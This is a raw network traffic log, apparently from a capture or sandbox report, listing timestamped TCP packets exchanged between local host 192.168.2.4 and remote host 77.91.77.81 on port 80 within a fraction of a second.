Jul 2, 2024 15:26:27.194478035 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.194488049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.194500923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.194503069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.194518089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.194523096 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.194528103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.194545031 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.194567919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.195379972 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.195389986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.195401907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.195419073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.195431948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.195432901 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.195451975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.195453882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.195461988 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.195472002 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.195480108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.195489883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.195496082 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.195508003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.195521116 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.195521116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.195535898 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.195559025 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.196299076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.196310043 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.196326017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.196337938 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.196338892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.196352005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.196353912 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.196367979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.196376085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.196376085 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.196391106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.196398973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.196404934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.196422100 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.196444988 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.228332996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.228406906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.228415966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.228488922 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.228549004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.228560925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.228575945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.228588104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.228679895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.228679895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.228679895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.228835106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.228847027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.228863001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.228887081 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.228912115 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.229038954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.229141951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.229152918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.229168892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.229177952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.229181051 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.229196072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.229201078 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.229213953 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.229240894 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.243680000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.243720055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.243729115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.243731022 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.243767977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.243885994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.243896961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.243915081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.243927956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.243932962 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.243954897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.243982077 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.244174004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.244291067 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.244302988 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.244319916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.244329929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.244334936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.244349957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.244363070 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.244364977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.244373083 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.244385004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.244395971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.244415998 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.244430065 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.244764090 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.247575045 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.278645992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.278714895 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.278724909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.278785944 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.278815985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.279015064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.279027939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.279042006 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.279066086 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.279090881 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.279093981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.279238939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.279249907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.279266119 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.279273033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.279275894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.279293060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.279306889 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.279325962 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.279710054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.279720068 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.279736042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.279747009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.279759884 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.279761076 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.279774904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.279781103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.279787064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.279798031 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.279830933 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.280312061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.280323029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.280338049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.280348063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.280364990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.280365944 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.280375957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.280390024 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.280394077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.280407906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.280445099 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.280921936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.280932903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.280949116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.280961990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.280972004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.280977011 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.280988932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.280989885 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.281003952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.281018972 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.281019926 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.281032085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.281043053 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.281044006 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.281059980 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.281061888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.281084061 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.281106949 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.281879902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.281888962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.281905890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.281915903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.281920910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.281933069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.281940937 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.281949997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.281960964 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.281965971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.281979084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.281985998 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.281989098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.282005072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.282011986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.282021999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.282037020 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.282054901 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.282855988 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.282866955 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.282882929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.282896042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.282901049 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.282910109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.282924891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.282932997 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.282934904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.282949924 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.282952070 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.282962084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.282979012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.282980919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.282993078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.283004999 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.283006907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.283025980 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.283042908 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.283866882 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.283878088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.283895969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.283905983 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.283922911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.283926964 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.283932924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.283951044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.283951998 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.283962011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.283972979 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.283978939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.283988953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.283994913 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.284004927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.284008026 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.284028053 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.284054041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.284790993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.284811974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.284822941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.284836054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.284838915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.284851074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.284858942 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.284863949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.284878969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.284887075 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.284890890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.284902096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.284904957 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.284921885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.284928083 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.284930944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.284946918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.284954071 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.284974098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.284997940 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.317711115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.317755938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.317763090 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.317780972 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.317821980 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.317922115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.317931890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.317945957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.317960978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.317972898 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.317986965 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.318015099 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.318286896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.318305016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.318346024 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.318434954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.318459034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.318470955 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.318480015 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.318483114 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.318500042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.318509102 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.318538904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.318567038 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.332958937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.333014965 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.333065987 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.333137035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.333147049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.333192110 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.333339930 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.333352089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.333364010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.333373070 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.333386898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.333399057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.333432913 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.333760977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.333770990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.333786964 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.333796024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.333815098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.333815098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.333827972 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.333853960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.367631912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.367703915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.367717028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.367758989 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.367780924 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.367856026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.367866993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.367894888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.367908955 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.367917061 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.367923021 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.367929935 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.367955923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.368292093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.368302107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.368318081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.368344069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.368354082 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.368551016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.368563890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.368577003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.368606091 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.368642092 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.369057894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.369107962 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.369134903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.369148016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.369174957 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.369185925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.369350910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.369362116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.369379044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.369389057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.369394064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.369421005 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.369442940 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.369743109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.369756937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.369775057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.369786024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.369802952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.369802952 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.369813919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.369822979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.369847059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.369865894 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.370424986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.370438099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.370450020 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.370465040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.370475054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.370480061 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.370492935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.370496988 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.370502949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.370522022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.370523930 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.370536089 CEST	80	49744	77.91.77.81	192.168.2.4
